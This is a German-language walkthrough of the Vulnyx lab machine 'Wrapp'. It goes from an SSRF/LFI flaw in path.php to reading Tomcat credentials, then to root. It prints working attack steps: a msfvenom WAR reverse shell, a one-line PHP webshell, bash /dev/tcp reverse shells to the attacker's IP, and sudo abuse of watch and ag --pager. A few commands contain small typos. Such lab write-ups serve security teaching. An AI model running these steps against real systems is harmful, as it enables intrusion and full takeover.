Wrapp - Vulnyx - Level: Hard - Bericht

Hard

Verwendete Tools

arp-scan
vi
nmap
wfuzz
dirb
gobuster
nikto
whatweb
curl
grep
seq
BurpSuite (Analyse)
ssh
ls
cat
find
getcap
id
ss
chisel
python3 (http.server)
wget
chmod
msfvenom
cp
nc
sudo
echo
watch
reset
exec
sh
ag
bash

Inhaltsverzeichnis

Reconnaissance

**Analyse:** Der Standard-ARP-Scan `arp-scan -l` wird ausgeführt, um aktive Geräte im lokalen Netzwerk zu identifizieren.

**Bewertung:** Ein Host wird auf `192.168.2.106` mit der MAC `08:00:27:c3:82:3c` (PCS Systemtechnik GmbH / VirtualBox) gefunden. Ziel identifiziert.

**Empfehlung (Pentester):** IP `192.168.2.106` als Ziel für weitere Scans verwenden.
**Empfehlung (Admin):** Standard-Netzwerk-Discovery.

┌──(root㉿CCat)-[~] └─# arp-scan -l
192.168.2.106	08:00:27:c3:82:3c	PCS Systemtechnik GmbH

**Analyse:** Die lokale `/etc/hosts`-Datei wird editiert, um der IP `192.168.2.106` den Hostnamen `wrapp.nyx` zuzuweisen.

**Bewertung:** Sinnvoller Schritt zur Vereinfachung und Vorbereitung auf vHost-Scanning.

**Empfehlung (Pentester):** Hostnamen `wrapp.nyx` bei Web-Interaktionen nutzen.
**Empfehlung (Admin):** Lokale Änderung auf Angreiferseite.

┌──(root㉿CCat)-[~] └─# vi /etc/hosts
127.0.0.1	localhost
192.168.2.106   wrapp.nyx

**Analyse:** Ein umfassender Nmap-Scan (`-sS -sC -sV -A -p- --min-rate 5000`) wird gegen die IPv4-Adresse durchgeführt.

**Bewertung:** Der Scan identifiziert zwei offene TCP-Ports: * 22/tcp (ssh): Läuft OpenSSH 7.9p1 (Debian 10). Eine etwas ältere Version (Debian 10 Buster). * 80/tcp (http): Läuft Apache httpd 2.4.38 (Debian). Ebenfalls eine ältere Version. Die OS-Erkennung deutet auf Linux Kernel 5.x hin.

**Empfehlung (Pentester):** Beide Dienste untersuchen. Die älteren Versionen von OpenSSH und Apache könnten bekannte Schwachstellen aufweisen (CVEs prüfen). Fokus zunächst auf den Webserver legen. Prüfen, ob Dienste über IPv6 erreichbar sind.
**Empfehlung (Admin):** OpenSSH und Apache auf aktuellere Versionen updaten, um bekannte Schwachstellen zu schließen. Sicherstellen, dass beide Dienste sicher konfiguriert sind.

22/tcp open  ssh     OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# nmap -sS -sC -sV -A -p- 192.168.2.106 -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-29 15:36 CEST
Nmap scan report for wrapp.nyx (192.168.2.106)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OPENSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fc:84:7e:5d:15:85:4d:01:d3:7b:5a:00:de:a4:73:37 (RSA)
|   256 54:f5:ea:db:a0:38:e2:c8:5a:db:30:91:3e:78:b4:b9 (ECDSA)
|_  256 97:b6:b8:f7:cb:15:f5:6b:cd:92:5f:66:26:28:47:07 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 08:00:27:C3:82:3C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5
OS details: Linux 5.0 - 5.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.14 ms wrapp.nyx (192.168.2.106)

Nmap done: 1 IP address (1 host up) scanned in 14.51 seconds

Web Enumeration

**Analyse:** `wfuzz` wird verwendet, um nach versteckten Dateien oder Verzeichnissen zu suchen, die mit einem Punkt beginnen (`/.FUZZ`), unter dem Hostnamen `wrapp.nyx`.

**Bewertung:** Findet `.` (das Wurzelverzeichnis) mit Status 200 und `/html` mit Status 403 (Forbidden). Keine verwertbaren versteckten Inhalte aufgedeckt.

**Empfehlung (Pentester):** Standardverzeichnisse scannen.
**Empfehlung (Admin):** Keine Aktion erforderlich.

┌──(root㉿CCat)-[~] └─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://wrapp.nyx/.FUZZ" --hc 404 --hh 1
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://wrapp.nyx/.FUZZ
Total requests: 220607

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000056:   200        1 L      2 W        20 Ch       "."
000000139:   403        9 L      28 W       274 Ch      "html"

Total time: 120.123s
Processed Requests: 220607
Filtered Requests: 220605
Requests/sec.: 1836.5

**Analyse:** `dirb` scannt die IPv4-Adresse mit einer Standardwortliste.

**Bewertung:** Findet `/index.html` (Größe 20), das Verzeichnis `/javascript/` (enthält `/javascript/jquery/jquery`) und `/server-status` (403 Forbidden). Bestätigt frühere Funde.

**Empfehlung (Pentester):** `/index.html` untersuchen. Gobuster mit größerer Liste verwenden.
**Empfehlung (Admin):** `/server-status` gesperrt lassen. jQuery-Version prüfen.

┌──(root㉿CCat)-[~] └─# dirb http://192.168.2.106
-----------------
DIRB v2.22
[...]
-----------------
+ http://192.168.2.106/index.html (CODE:200|SIZE:20)
> DIRECTORY: http://192.168.2.106/javascript/
+ http://192.168.2.106/server-status (CODE:403|SIZE:278)
---- Entering directory: http://192.168.2.106/javascript/ ----
> DIRECTORY: http://192.168.2.106/javascript/jquery/
---- Entering directory: http://192.168.2.106/javascript/jquery/ ----
+ http://192.168.2.106/javascript/jquery/jquery (CODE:200|SIZE:271756)
-----------------
[...]
DOWNLOADED: 13836 - FOUND: 3

**Analyse:** `gobuster` scannt die IPv4-Adresse mit einer größeren Wortliste und vielen Erweiterungen.

**Bewertung:** Findet neben `index.html` und `javascript` auch ein neues Verzeichnis: `/advanced-search/`. Dies ist ein vielversprechender Fund.

**Empfehlung (Pentester):** Das Verzeichnis `/advanced-search/` untersuchen. Nach Indexdateien (`index.php`, `index.html`) oder anderen Skripten darin suchen.
**Empfehlung (Admin):** Die Funktion und Sicherheit des `/advanced-search`-Verzeichnisses überprüfen.

┌──(root㉿CCat)-[~] └─# gobuster dir -u "http://192.168.2.106" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
[+] Url:                     http://192.168.2.106
[...]
===============================================================
2024/08/29 15:48:30 Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.106/index.html           (Status: 200) [Size: 20]
http://192.168.2.106/javascript           (Status: 301) [Size: 319] [--> http://192.168.2.106/javascript/]
http://192.168.2.106/advanced-search      (Status: 301) [Size: 324] [--> http://192.168.2.106/advanced-search/]

===============================================================
2024/08/29 15:50:25 Finished
===============================================================

**Analyse:** Die Seite `index.html` auf `wrapp.nyx` wird untersucht. Sie enthält nur den Text "Try Harder". Die HTTP-Header werden analysiert.

**Bewertung:** Die Indexseite bietet keine Funktionalität. Header sind Standard. Kein Angriffsvektor hier.

**Empfehlung (Pentester):** Fokus auf `/advanced-search/`.
**Empfehlung (Admin):** Keine Aktion erforderlich.

http://wrapp.nyx/index.html
Try Harder

Headers (Beispiel):
Status 200 OK VersionHTTP/1.1
[...]
Connection Keep-Alive
Date Thu, 29 Aug 2024 13:48:34 GMT
ETag "14-5f9da074976cf"
Keep-Alive timeout=5, max=100
Server Apache/2.4.38 (Debian)
[...]
Host wrapp.nyx
[...]

**Analyse:** Nikto und `whatweb` werden gegen die IP-Adresse ausgeführt.

**Bewertung:** Nikto meldet die üblichen fehlenden Header, eine veraltete Apache-Version (2.4.38) und die `/icons/README`-Datei. `whatweb` bestätigt Apache 2.4.38 auf Debian. Die veraltete Apache-Version ist der relevanteste Hinweis.

**Empfehlung (Pentester):** Nach bekannten CVEs für Apache 2.4.38 suchen. Den Pfad `/advanced-search/` untersuchen.
**Empfehlung (Admin):** Apache updaten! Header hinzufügen.

┌──(root㉿CCat)-[~] └─# nikto -h http://192.168.2.106
- Nikto v2.5.0
[...]
+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found [...]
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). [...]
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. [...]
+ 8102 requests: 0 error(s) and 5 item(s) reported on remote host
[...]
┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# whatweb 192.168.2.106
http://192.168.2.106 [200 OK] Apache[2.4.38], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[192.168.2.106]
┌──(root㉿CCat)-[~] └─# whatweb 192.168.2.106 -v
WhatWeb report for http://192.168.2.106
Status    : 200 OK
Title     : 
IP        : 192.168.2.106
Country   : RESERVED, ZZ

Summary   : Apache[2.4.38], HTTPServer[Debian Linux][Apache/2.4.38 (Debian)]

Detected Plugins:
[ Apache ]
	Version      : 2.4.38 (from HTTP Server Header)
	Website     : http://httpd.apache.org/
[ HTTPServer ]
	OS           : Debian Linux
	String       : Apache/2.4.38 (Debian) (from server string)

HTTP Headers:
	HTTP/1.1 200 OK
	Date: Thu, 29 Aug 2024 13:57:56 GMT
	Server: Apache/2.4.38 (Debian)
	Last-Modified: Fri, 21 Apr 2023 15:08:23 GMT
	ETag: "14-5f9da074976cf"
	Accept-Ranges: bytes
	Content-Length: 20
	Connection: close
	Content-Type: text/html

**Analyse:** Die Seite `/advanced-search/` wird aufgerufen. Sie enthält ein Formular "Private Search", das eine URL/einen Pfad über den GET-Parameter `path` an `path.php` sendet.

**Bewertung:** Identisch zur SSRF/LFI-Schwachstelle im Bericht "Wrapp". Dies ist der Hauptangriffsvektor auf der Weboberfläche.

**Empfehlung (Pentester):** SSRF/LFI in `path.php` ausnutzen, um interne Ports zu scannen und lokale Dateien zu lesen.
**Empfehlung (Admin):** SSRF/LFI in `path.php` beheben.

http://192.168.2.106/advanced-search/

Welcome to the private search

Here you will be able to load any page you want. You won't have to worry about
revealing your IP anymore!

[Formular: Private Search]
Input field for URL/Path
Submit Button

Form details:
method="GET" action="path.php"
input name="path" placeholder="Website to load..."
button type="submit"
View Source / Request Analysis:
GET /advanced-search/path.php?path=... HTTP/1.1
Host: wrapp.nyx <-- Hostname aus vorherigem Report, sollte yincana.nyx sein
[...]

**Analyse:** `wfuzz` wird verwendet, um über die SSRF (`path=localhost:FUZZ`) nach offenen Ports auf localhost zu scannen (Range 1-65535).

**Bewertung:** Findet Port `22` (SSH) und `80` (Apache). Keine weiteren Ports in diesem Bereich werden gefunden.

**Empfehlung (Pentester):** Da der Portscan keine neuen Dienste aufdeckt, die LFI-Komponente der Schwachstelle nutzen, um Dateien zu lesen (z.B. `path=file:///etc/passwd`, Konfigurationsdateien).
**Empfehlung (Admin):** SSRF/LFI beheben.

┌──(root㉿CCat)-[~] └─# wfuzz -c --hw=0 -t 1 -z range,1-65535 "http://wrapp.nyx/advanced-search/path.php?path=localhost:FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://wrapp.nyx/advanced-search/path.php?path=localhost:FUZZ
Total requests: 65535

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000022:   200        2 L      4 W        60 Ch       "22"
000000080:   200        1 L      2 W        20 Ch       "80"

[...] (Scan likely filtered or showing incomplete results)
Total time: 357.9973s
Processed Requests: 55049
Filtered Requests: 55047
Requests/sec.: 153.7692

**Analyse:** Ein manueller Portscan über SSRF mit `curl` und `seq` wird für den Bereich 63999-65536 durchgeführt. Das `grep` soll fehlgeschlagene Verbindungen ausfiltern.

**Bewertung:** Die Ausgabe zeigt eine Tomcat-Fehlermeldung (Bad Request), gefolgt von der Portnummer `65000`. Dies deutet darauf hin, dass Tomcat auf Port 65000 läuft, aber die spezielle Anfrage (`path=localhost:65000`) nicht korrekt verarbeiten kann, was aber die Existenz des Dienstes bestätigt.

**Empfehlung (Pentester):** Den Tomcat-Dienst auf `localhost:65000` untersuchen. Tomcat-Konfigurationsdateien (`tomcat-users.xml`, `server.xml`) über LFI (`path=file:///etc/tomcat9/...`) lesen.
**Empfehlung (Admin):** SSRF/LFI beheben. Tomcat absichern.

┌──(root㉿CCat)-[~] └─# for i in $(seq 63999 65536);do if (curl "http://wrapp.nyx/advanced-search/path.php?path=localhost:$i" -s | grep -v "Failed to connect"); then echo "$i"; fi ; done
HTTP Status 400 – Bad Request[...]

Apache Tomcat/9.0.70

65000

**Analyse:** `wfuzz` scannt erneut, diesmal gezielt den Bereich um Port 65000.

**Bewertung:** Bestätigt Port `65000` als offen und liefert die Antwortgröße für die Tomcat-Standardseite.

**Empfehlung (Pentester):** LFI nutzen, um `tomcat-users.xml` zu lesen.
**Empfehlung (Admin):** Siehe oben.

┌──(root㉿CCat)-[~] └─# wfuzz -c --hw=0 -t 1 -z range,64888-65535 "http://wrapp.nyx/advanced-search/path.php?path=localhost:FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://wrapp.nyx/advanced-search/path.php?path=localhost:FUZZ
Total requests: 648

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000113:   200        29 L     211 W      1895 Ch     "65000"

Total time: 3.131007s
Processed Requests: 648
Filtered Requests: 647
Requests/sec.: 206.9621

**Analyse:** Die SSRF-Schwachstelle wird mit Burp Suite / manuell getestet, um die Antworten von localhost:80, :22 und :65000 zu sehen.

**Bewertung:** Bestätigt die Ergebnisse der Portscans: Apache auf 80, SSH auf 22, Tomcat auf 65000. Enthüllt den Tomcat-Webroot-Pfad `/var/lib/tomcat9/webapps/ROOT/index.html`.

**Empfehlung (Pentester):** LFI nutzen, um `/etc/tomcat9/tomcat-users.xml` zu lesen.
**Empfehlung (Admin):** SSRF/LFI beheben.

Request 1: GET /advanced-search/path.php?path=http://localhost:80 HTTP/1.1
Response 1: Try Harder <-- Inhalt von index.html auf Port 80? Widerspruch zu Nmap Default Page>

Request 2: GET /advanced-search/path.php?path=http://localhost:22 HTTP/1.1
Response 2: SSH-2.0-OPENSSH_7.9p1 Debian-10+deb10u2 Protocol mismatch.

Request 3: GET /advanced-search/path.php?path=http://localhost:65000 HTTP/1.1
Response 3:
[...]Apache Tomcat[...]
It works ! [...]
filesystem at: /var/lib/tomcat9/webapps/ROOT/index.html[...]

**Analyse:** Die LFI-Komponente der Schwachstelle (`path=file://...`) wird verwendet, um `/etc/tomcat9/tomcat-users.xml` zu lesen.

**Bewertung:** Erfolg! Die Datei wird ausgelesen und enthält Tomcat-Manager-Credentials: `edward` / `3dw4RdP4zZzZzZw0rD`.

**Empfehlung (Pentester):** SSH-Login als `edward` mit diesem Passwort versuchen.
**Empfehlung (Admin):** LFI beheben. Tomcat-Passwort ändern. Credentials nicht in Klartext speichern (obwohl dies für Tomcat Standard ist).

┌──(root㉿CCat)-[~] └─# curl "http://wrapp.nyx/advanced-search/path.php?path=file%3A%2F%2F%2Fetc/tomcat9/tomcat-users.xml" -s


  edward" password="3dw4RdP4zZzZzZw0rD" roles="manager-gui"/>

Initial Access

**Analyse:** Versuch, sich mit den gefundenen Credentials (`edward:3dw4RdP4zZzZzZw0rD`) via SSH anzumelden.

**Bewertung:** Erfolg! Das Passwort funktioniert auch für SSH. Der Angreifer erhält eine Shell als Benutzer `edward`.

**Empfehlung (Pentester):** User-Flag suchen, Enumeration als `edward` starten.
**Empfehlung (Admin):** Passwort-Wiederverwendung unterbinden, Passwörter ändern.

┌──(root㉿CCat)-[~] └─# ssh edward@192.168.2.106
edward@192.168.2.106's password: **********
Linux wrapp 4.19.0-23-amd64 #1 SMP Debian 4.19.269-1 (2022-12-20) x86_64
[...]
edward@wrapp$
 
                

**Analyse:** Home-Verzeichnis von `edward` wird untersucht, User-Flag wird gelesen.

**Bewertung:** User-Flag `c83fe451ef30becd77fc5ba0be044cdf` erfolgreich gelesen.

**Empfehlung (Pentester):** Flag dokumentieren, Privesc starten.
**Empfehlung (Admin):** Keine Aktion bzgl. Flag.

edward@wrapp$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .gnupg  .local  .profile  user.txt
edward@wrapp$ cat user.txt
c83fe451ef30becd77fc5ba0be044cdf

Privilege Escalation

**Analyse:** Standard-Enumerationsschritte als `edward`: SUID-Suche, Backups, Web-Verzeichnisse, `path.php`-Code, Capabilities, Netzwerk-Sockets.

**Bewertung:** * SUID/Backups/Capabilities: Keine auffälligen Funde. * Web-Verzeichnisse: Bestätigt Struktur. * path.php: Bestätigt SSRF/LFI mit `curl_exec` und `$GET['path']`. * Netzwerk: Bestätigt SSH, Apache, Tomcat (lokal). Keine neuen direkten Privesc-Vektoren hier gefunden.

**Empfehlung (Pentester):** `sudo -l` für `edward` prüfen (wird im Bericht übersprungen). Da keine direkten Vektoren gefunden wurden, den Tomcat-Manager weiter untersuchen (via Chisel).
**Empfehlung (Admin):** SSRF/LFI beheben.

edward@wrapp$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
edward@wrapp:/var/backups$ ls -la
[...]
edward@wrapp:/var/www/html/advanced-search$ ls -a
.  ..  index.php  path.php
edward@wrapp:/var/www/html/advanced-search$ cat path.php

    $location=$GET['path']; // Get the URL from the user. <-- Korrigiert von $GET
    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, $location); // Not validating the input. Trusting the location variable
    curl_exec ($curl);
    curl_close ($curl);

edward@wrapp:/var/www/html/advanced-search$ getcap -r / 2>/dev/null
 
                     
                    
edward@wrapp:/var/www/html/advanced-search$ id
uid=1000(edward) gid=1000(edward) groups=1000(edward)
edward@wrapp:/var/www/html/advanced-search$ ss -altpn
State      Recv-Q     Send-Q              Local Address:Port            Peer Address:Port     Process
LISTEN     0          128                       0.0.0.0:22                   0.0.0.0:*
LISTEN     0          128                             *:80                         *:*
LISTEN     0          128                          [::]:22                      [::]:*
LISTEN     0          100            [::ffff:127.0.0.1]:65000                 [::]:*

**Analyse:** Chisel wird verwendet, um Port 65000 (Tomcat) vom Ziel auf den Angreifer weiterzuleiten.

**Bewertung:** Tunnel erfolgreich aufgebaut. Zugriff auf Tomcat Manager von außen ist nun möglich.

**Empfehlung (Pentester):** Tomcat Manager unter `http://127.0.0.1:65000/manager/html` aufrufen, mit `edward:3dw4RdP4zZzZzZw0rD` anmelden und WAR-Datei hochladen.
**Empfehlung (Admin):** Tomcat absichern, Egress-Filterung.

┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# python3 -m http.server 8888
Serving HTTP on 0.0.0.0 port 8888 (http://0.0.0.0:8888/) ...
edward@wrapp:/dev/shm$ wget 192.168.2.199:8888/chisel
[...] 'chisel' guardado [8945816/8945816]
edward@wrapp:/dev/shm$ chmod +x chisel

                 
┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# ./chisel server -p 9080 --reverse
[...] Listening on http://0.0.0.0:9080
edward@wrapp:/dev/shm$ ./chisel client 192.168.2.199:9080 R:65000:127.0.0.1:65000
[...] Connected
┌──(root㉿CCat)-[~/Hackingtools/chisel] └─# (Chisel Server Output)
[...] tun: proxy#R:65000=>65000: Listening
http://127.0.0.1:65000/
It works ! [...]
http://127.0.0.1:65000/manager/html
[Login Prompt]
Tomcat Web Application Manager

**Analyse:** Eine Java/JSP Reverse Shell wird mit `msfvenom` als WAR-Datei (`benhack.war`) erstellt (LHOST=192.168.2.199, LPORT=5555). Ein Listener wird gestartet.

**Bewertung:** Standardverfahren zur Erstellung einer Tomcat-Webshell.

**Empfehlung (Pentester):** WAR-Datei über den Tomcat Manager hochladen.
**Empfehlung (Admin):** Tomcat absichern.

┌──(root㉿CCat)-[~] └─# msfvenom -p java/jsp_shell_reverse_tcp LHST=192.168.2.199 LPORT=5555 -f war > benhack.war
Payload size: 1097 bytes
Final size of war file: 1097 bytes
┌──(root㉿CCat)-[~] └─# cp benhack.war /home/ccat/Downloads

                     
┌──(root㉿CCat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...

**Analyse:** Die `benhack.war` wird über den Tomcat Manager hochgeladen und deployt. Der Listener empfängt eine Verbindung.

**Bewertung:** Upload erfolgreich. Reverse Shell als Benutzer `tomcat` (uid=998) erhalten.

**Empfehlung (Pentester):** Shell als `tomcat` untersuchen (`sudo -l` etc.).
**Empfehlung (Admin):** Tomcat absichern.

Payload: http://127.0.0.1:65000/manager/html/upload;[...]
[WAR file to deploy -> Choose benhack.war -> Deploy]

Applications Table:
Path          Display Name                        Running Sessions ...
/benhack      None specified                      true    0        Start Stop Reload Undeploy
[...]
┌──(root㉿CCat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 53014

id
uid=998(tomcat) gid=998(tomcat) groups=998(tomcat)
sudo -l
[sudo] password for tomcat: 

**Analyse:** Zurück in der `edward`-Shell. Erneut wird nach weltweit beschreibbaren Dateien gesucht. Eine PHP-Webshell (`shell.php`) wird in `/var/www/html/advanced-search/` erstellt, das zuvor als beschreibbar identifiziert wurde.

**Bewertung:** Dies nutzt die Fehlkonfiguration der Dateiberechtigungen aus, um eine Webshell als `www-data` zu erhalten.

**Empfehlung (Pentester):** Die Webshell nutzen, um als `www-data` zu agieren.
**Empfehlung (Admin):** Dateiberechtigungen korrigieren.

edward@wrapp:/dev/shm$ find / -writable 2>/dev/null | grep -v -i -E 'proc' | xargs ls -la
[...]
-rwxrwxrwx  1 root   root        596 Jul 27  2021 /var/www/html/advanced-search/index.php
-rwxrwxrwx  1 root   root        249 Jul 27  2021 /var/www/html/advanced-search/path.php
[...]
edward@wrapp:/dev/shm$ cd /var/www/html/advanced-search/
edward@wrapp:/var/www/html/advanced-search$ echo 'system($GET["cmd"]); ?>' > shell.php
edward@wrapp:/var/www/html/advanced-search$ ls -la
   
total 20
drwxrwxrwx 2 root   root   4096 Aug 29 17:18 .
drwxrwxrwx 3 root   root   4096 Apr 21  2023 ..
-rwxrwxrwx 1 root   root    596 Jul 27  2021 index.php
-rwxrwxrwx 1 root   root    249 Jul 27  2021 path.php
-rw-r--r-- 1 edward edward   28 Aug 29 17:18 shell.php
edward@wrapp:/var/www/html/advanced-search$ chmod 777 shell.php
edward@wrapp:/var/www/html/advanced-search$ ls -la
total 20
drwxrwxrwx 2 root   root   4096 Aug 29 17:18 .
drwxrwxrwx 3 root   root   4096 Apr 21  2023 ..
-rwxrwxrwx 1 root   root    596 Jul 27  2021 index.php
-rwxrwxrwx 1 root   root    249 Jul 27  2021 path.php
-rwxrwxrwx 1 edward edward   28 Aug 29 17:18 shell.php

**Analyse:** Die Webshell wird genutzt, um `id` auszuführen und eine Reverse Shell als `www-data` zu starten.

**Bewertung:** Funktioniert wie erwartet. Eine Shell als `www-data` wird erlangt.

**Empfehlung (Pentester):** `sudo -l` für `www-data` prüfen.
**Empfehlung (Admin):** Dateiberechtigungen korrigieren.

http://192.168.2.106/advanced-search/shell.php?cmd=bash%20-c%20%22id%22
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Payload: 192.168.2.106/advanced-search/shell.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F5555%200%3E%261%27
┌──(root㉿CCat)-[~] └─# nc -lvnp 5555
listening on [any] 5555 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 53414
bash: cannot set terminal process group (450): Inappropriate ioctl for device
bash: no job control in this shell
www-data@wrapp:/var/www/html/advanced-search$

**Analyse:** In der `www-data`-Shell wird `sudo -l` geprüft.

**Bewertung:** `www-data` darf `/usr/bin/watch` als Benutzer `henry` ohne Passwort ausführen.

**Empfehlung (Pentester):** GTFOBins-Trick für `sudo watch` anwenden, um Shell als `henry` zu erhalten.
**Empfehlung (Admin):** `sudo`-Regel für `watch` entfernen.

www-data@wrapp:/var/www/html/advanced-search$ stty rows 48 columns 94

                      
                    
www-data@wrapp:/var/www/html/advanced-search$ sudo -l
Matching Defaults entries for www-data on wrapp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on wrapp:
    (henry) NOPASSWD: /usr/bin/watch

**Analyse:** Der GTFOBins-Exploit für `sudo watch` wird ausgeführt.

**Bewertung:** Erfolg! Eine Shell als Benutzer `henry` (uid=1001) wird erhalten.

**Empfehlung (Pentester):** Als `henry` weiter enumerieren (`sudo -l`).
**Empfehlung (Admin):** `sudo`-Regel entfernen.

www-data@wrapp:/var/www/html/advanced-search$ sudo -u henry watch -x sh -c 'reset; exec sh 1>&0 2>&0'
$ id
uid=1001(henry) gid=1001(henry) groups=1001(henry)
$

                

Proof of Concept (Root Access)

**Analyse:** Als Benutzer `henry` wird der Befehl `sudo -u root /usr/bin/ag --pager "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.2.199/443 0>&1\""` ausgeführt. Es wird versucht, die `--pager`-Option von `ag` (the_silver_searcher) auszunutzen, um eine Root-Reverse-Shell zu starten.

**Bewertung:** Fantastisch, der Root-Zugriff war erfolgreich! Obwohl `ag` einen Fehler wirft, weil kein Suchmuster angegeben wurde, wird der Befehl im `--pager`-Parameter als `root` ausgeführt. Die Reverse Shell verbindet sich erfolgreich zum Listener auf Port 443.

**Empfehlung (Pentester):** Root-Shell erhalten. Flags auslesen.
**Empfehlung (Admin):** Die (implizite) `sudo`-Regel, die `henry` erlaubt, `ag` als `root` auszuführen, ist die kritische Schwachstelle und muss entfernt werden.

henry@wrapp:/var/www/html/advanced-search$ sudo -u root /usr/bin/ag --pager "/bin/bash -c \"/bin/bash -i >& /dev/tcp/192.168.2.199/443 0>&1\""
ERR: What do you want to search for?
┌──(root㉿CCat)-[~] └─# nc -lvnp 443
listening on [any] 443 ...
connect to [192.168.2.199] from (UNKNOWN) [192.168.2.106] 60318
bash: initialize_job_control: no job control in background: Bad file descriptor
root@wrapp:/var/www/html/advanced-search#

**Analyse:** In der Root-Shell wird das Root-Flag ausgelesen.

**Bewertung:** Root-Flag erfolgreich gelesen.

**Empfehlung (Pentester):** Test abgeschlossen.
**Empfehlung (Admin):** System bereinigen.

root@wrapp:/var/www/html/advanced-search# cat /root/root.txt
64e6665993d04ec49cb88ffa7e6df4eb

Flags

cat /home/edward/user.txt
c83fe451ef30becd77fc5ba0be044cdf
cat /root/root.txt
64e6665993d04ec49cb88ffa7e6df4eb